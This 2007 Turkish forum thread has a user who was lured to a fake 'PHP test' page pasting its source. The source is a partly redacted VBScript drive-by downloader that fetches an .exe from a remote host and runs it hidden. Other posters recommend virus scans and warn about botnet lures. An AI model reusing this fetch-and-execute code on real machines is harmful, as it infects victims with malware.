• 09-06-2007, 01:06:07
    #1
    arkadaşlar bu gece msn den bir şiki bi adres verdi. dediki php bozuldu şu adrese girsene bi çalışcakmı dedi bi link verdi

    siteadi.com/phptest.php

    diye girdim baktım bişey yoktu yazmıyodu kaynak göster dedim aynen ordaki kod şu

    Site Test!
    <script language="VBScript">
        on error xxxx
    
    id", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
        est1="Microsoft."&"XMLHTTP"
        Set obj2 = obj1.CreateObject(est1,"")
     
        esssss
        est2="GET"
        obj2.Open est2, "siteadi.com/saf.exe", False
        obj2.Send
     
        set F = obj1.createobject("Scripting.FileSystemObject","")
        setzzzzzzzzzzzzzza,fi)
     
        obj3xxxxxxxxxxxxxxx
        set obj5 = obj1.createobject("Shell.Application","")
     
        obj5.ShellExecute fi,"","","open",0
    </script>
    sonra baktım ordaki exe yi indirdim online tarattım sonuçlar


    hemen altındada


    şimdi noldu bana ? virüsmü yedim ? virüs atmak bu kdr kolaymı oldu ? bir php dosyasıyla
  • 09-06-2007, 01:08:40
    #2
    Üyeliği durduruldu
    exe varsa sakat
  • 09-06-2007, 01:09:45
    #3
    pff nasıl ya bi php dosyasıyla virüs
  • 09-06-2007, 01:19:05
    #4
    Virüs programın nedir?

    http://www.ewido.net/en/onlinescan/ girip tarama yaptır.Explorer'la girmelisin.
  • 09-06-2007, 01:21:35
    #5
    Ece
    Üyeliği durduruldu
    Bazı insanlar, botnet için hazırladıkları siteyi, Bir bakarmısın site nasıl açılıyormu, calışıyormu? Diye soruyor bizde yardım için bakıyoruz... Fakat o anda onların botneti saldırsın diye sanırım ipimizi alıyorlar. Bence fazla sitelere girmeyin şu sıralar. Biri bana bakarmısın derse tamam diyorum, sonra acılmadı diyorum. Aslında bakmıyorum bile Sizede geçmiş olsun...
  • 09-06-2007, 01:22:11
    #6
    Misafir
    etik olması açısından yayınladığınız php kodu editledim.

    bu arada geçmiş olsun umarım önemli birşey değildir.
  • 09-06-2007, 01:24:51
    #7
    Varista adlı üyeden alıntı: mesajı görüntüle
    Virüs programın nedir?

    http://www.ewido.net/en/onlinescan/ girip tarama yaptır.Explorer'la girmelisin.
    bende zaten online tarattım www.virustotal.com

    bitanem adlı üyeden alıntı: mesajı görüntüle
    Bazı insanlar, botnet için hazırladıkları siteyi, Bir bakarmısın site nasıl açılıyormu, calışıyormu? Diye soruyor bizde yardım için bakıyoruz... Fakat o anda onların botneti saldırsın diye sanırım ipimizi alıyorlar. Bence fazla sitelere girmeyin şu sıralar. Biri bana bakarmısın derse tamam diyorum, sonra acılmadı diyorum. Aslında bakmıyorum bile Sizede geçmiş olsun...
    yani ? botnet mi bu ? bilgisayarıma bir zararı varmı ? varsa format atıcam
  • 09-06-2007, 01:27:55
    #8
    Hocam anlatamadım herhalde.Senin gösterdiğin siteden virüs varmı yokmu varsa bilgilerini verir.

    Benim dediğim sitede virüsleri bulur ve siler
    Virüs programın nod32 ise %99 silmesi gerekli
  • 09-06-2007, 01:28:59
    #9
    hım anladım sagol bi bakıyım